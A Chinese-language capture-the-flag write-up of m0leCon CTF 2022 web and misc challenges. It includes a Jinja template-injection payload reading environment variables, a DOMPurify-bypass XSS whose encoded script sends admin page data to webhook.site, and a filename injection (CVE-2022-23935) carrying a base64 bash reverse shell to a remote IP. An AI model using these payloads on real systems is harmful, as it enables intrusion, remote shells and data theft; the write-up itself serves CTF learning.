m0leCon-CTF-2022

m0leCon CTF 2022

web

hack(pt)MD

Hey, do you like markdown?

Author: @Xato

hackptmd.zip

jackma:123456

可以看到 编写markdown界面的 csp

1
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
1
2
<meta name="referrer" content="unsafe-url" />
<meta http-equiv="refresh" content="3;url=https://webhook.site/3468de44-3fe9-4692-ab8e-373fa43ea184" />

emm 会在3s后自动跳转

Create another note that embeds the first one in the right position so that the bot click on the logout button causes the iframe to navigate to /last

1
2
<iframe src="/document/3b93e42c-55bd-4929-9f4e-8294159201f8" style="z-index:2; position:absolute; top:0px; right:-120px; height:100px">
</iframe>
1
/document/649487e4-5f86-4aff-83d9-ef509e21d02d
image-20220516115839423

貌似就是把flag的document的地址给leak出来

这个 iframe 的位置似乎有讲究

模拟一下 $("#logout").click();

Dumb Forum

我的zz做题经历

You’re telling me you can’t break such a simple forum

flag在环境变量里

1
ENV FLAG='ptm{REDACTED}'

估计要读文件或者rce

估计是要走数据库来搞事情

看看输入的过滤

这里应该是防 username 的模版注入 但是一人出 全员出 肯定不可能

1
2
3
4
def validate_username(self, username):
for c in "}{":
if c in username.data:
raise ValidationError('Please use valid characters.')

感觉在这里搞一下数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class EditProfileForm(FlaskForm):
username = StringField('Username', validators=[DataRequired()])
about_me = TextAreaField('About me', validators=[Length(min=0, max=1000)])
submit = SubmitField('Submit')

def __init__(self, original_username, *args, **kwargs):
super(EditProfileForm, self).__init__(*args, **kwargs)
self.original_username = original_username

def validate_username(self, username):
for c in "}{":
if c in username.data:
abort(400)
#raise ValidationError('Please use valid characters.')
if username.data != self.original_username:
user = User.query.filter_by(username=self.username.data).first()
if user is not None:
abort(409)
#raise ValidationError('Please use a different username.')

def validate_about_me(self, about_me):
for c in "}{":
if c in about_me.data:
abort(400)

看一下数据库的操作

image-20220514124017454

https://www.compart.com/en/unicode/U+2474

https://pypi.org/project/email-validator/

或许是拿config里面的东西来打 。。。

1
Email: <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': b',\xea\xec\x99\xb1\xc2O/!\xbe\x8d\x1c\x95\xa3>`\xcf\xbe[\xbbeS\x06=)\xd8\x84\x18\x92Y\xed\x91', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'BOOTSTRAP_USE_MINIFIED': True, 'BOOTSTRAP_CDN_FORCE_SSL': False, 'BOOTSTRAP_QUERYSTRING_REVVING': True, 'BOOTSTRAP_SERVE_LOCAL': False, 'BOOTSTRAP_LOCAL_SUBDOMAIN': None, 'SQLALCHEMY_DATABASE_URI': 'sqlite:////microforum/db/app.db', 'SQLALCHEMY_TRACK_MODIFICATIONS': False, 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False, 'SQLALCHEMY_ENGINE_OPTIONS': {}}>aa@a.com

https://qntm.org/safe

https://trojansource.codes/

是不是从这里能得到 sqlite 相关的信息?

1
2
3
4
5
6
7
8
9
10
@login_required
def profile():
with open('app/templates/profile.html') as p:
profile_html = p.read()

profile_html = profile_html % (current_user.username, current_user.email, current_user.about_me)

if(current_user.about_me == None):
current_user.about_me = ""
return render_template_string(profile_html)

这几个可不可以连着用?

或者一个调用另外一个?

去读一下 python的模板 。。。

1
2
ATEXT_INTL = ATEXT + u"\u0080-\U0010FFFF"
DOT_ATOM_TEXT_INTL = '[' + ATEXT_INTL + ']+(?:\\.[' + ATEXT_INTL + ']+)*'

payload

1
{{self.__init__.__globals__.sys.modules.os.environ}}

LESN

周六一天实验 中午晚上看了看比赛 没时间看这题 晚上来复现一下

上传一张正确的图片后 毛用都没有

上传错误的图片后 可以发现

image-20220516085548423

重点是这题不给源码就离谱(主要是我太菜了

image-20220516090947866

点进去看一下

1
2
3
4
5
6
7
8
9
10
11
function redirect_error_image() {
document.location = document.location.toString().replace('post', 'edit') + '?err=Invalid+image,+please+change+url'
}

function redirect_home(err) {
document.location = '/?err=' + err
}

function redirect_to(url) {
document.location = url
}

我们知道

image-20220516092701535

我们又知道 可以用 Dom clobbering 来覆盖 document 对象的某些值来形成xss攻击(可以去看看陆队的一篇文章

image-20220516092318248

所以我们尝试构造payload 来进行xss攻击

大家自己搞个html试一下

1
2
3
<img src="https://ctf.m0lecon.it/img/pwnthem0le_logo.pn" onerror="setTimeout(redirect_error_image,1500)"
style="max-height: 300px; max-width: 300px; display:block; margin: auto; border: 2px solid #555;">
<a href=b1ue0cean:'a';alert(1) id=redirect_error_image >

但我们发现 他还对payload进行了过滤 所以我们还要绕过过滤才行

看了wp 应该是用了过时的 Dompurify

然后拿以前版本的绕过来进行xss 具体payload见上面wp

如何打:

我们先挂一个正确的图片的地址 (可以在本地 这样到了bot还会正常报错 使得我们的payload成功执行)

但有一个问题就是script加载后 会有缓存 会导致我们的payload失效

为了避免缓存的话 可以再开一个post 页面 用 iframe 来加载

然后将bot重定向到我们的恶意iframe页面就ok

flag在admin的 /post

1
<svg></p><style><a class="</style><a href=mailto:'a';eval(atob('ZmV0Y2goJy9wb3N0JykudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT57eD0vcG9zdFwvW1x3LV0qL2cuZXhlYyh0KTtmZXRjaCgnaHR0cHM6Ly93ZWJob29rLnNpdGUvMzQ2OGRlNDQtM2ZlOS00NjkyLWFiOGUtMzczZmE0M2VhMTg0LycreFswXSl9KS8v')) id=redirect_error_image >">

base64部分

1
fetch('/post').then(r=>r.text()).then(t=>{x=/post\/[\w-]*/g.exec(t);fetch('https://webhook.site/3468de44-3fe9-4692-ab8e-373fa43ea184/'+x[0])})//

拓展:

https://wizardforcel.gitbooks.io/xss-naxienian/content/9.html

https://blog.xray.cool/post/12cases-about-xss-part1/#iframe%E7%9A%84windowname%E8%B7%A8%E5%9F%9F%E4%BC%A0%E8%BE%93

MISC

Placey

比赛后十分钟打出来了 (做了一天实验 不然早该出了

CVE-2022-23935 https://gist.github.com/ert-plus/1414276e4cb5d56dd431c2f0429e4429

1
2333.txt;bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMzMuMTQ4LzEwMDk5IDA+JjE=}|{base64,-d}|{bash,-i}' |

base64 绕过来反弹shell

然后进去后 有个redis的cve

https://www.adminxe.com/3620.html

照着打就出了